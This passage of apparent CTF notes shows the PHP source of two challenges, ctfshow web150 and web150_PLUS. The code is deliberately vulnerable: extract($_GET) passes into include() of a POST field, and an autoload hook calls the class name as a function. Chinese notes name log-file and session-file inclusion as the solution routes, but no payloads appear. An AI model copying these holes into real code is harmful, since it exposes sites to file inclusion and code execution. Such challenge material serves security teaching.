#过滤字符
$key = $_SERVER['QUERY_STRING'];
if(preg_match('/\_| |\[|\]|\?/', $key)){
die("error");
}
$ctf = $_POST['ctf'];
extract($_GET);
if(class_exists($__CTFSHOW__)){
echo "class is exists!";
}

if($isVIP && strrpos($ctf, ":")===FALSE){
include($ctf);
}

日志文件包含

web150_PLUS

<?php

include("flag.php");
error_reporting(0);
highlight_file(__FILE__);

class CTFSHOW{
private $username;
private $password;
private $vip;
private $secret;

function __construct(){
$this->vip = 0;
$this->secret = $flag;
}

function __destruct(){
echo $this->secret;
}

public function isVIP(){
return $this->vip?TRUE:FALSE;
}
}

function __autoload($class){
if(isset($class)){
$class();
}
}

#过滤字符
$key = $_SERVER['QUERY_STRING'];
if(preg_match('/\_| |\[|\]|\?/', $key)){
die("error");
}
$ctf = $_POST['ctf'];
extract($_GET);
if(class_exists($__CTFSHOW__)){
echo "class is exists!";
}

if($isVIP && strrpos($ctf, ":")===FALSE && strrpos($ctf,"log")===FALSE){
include($ctf);
}

非预期:session文件包含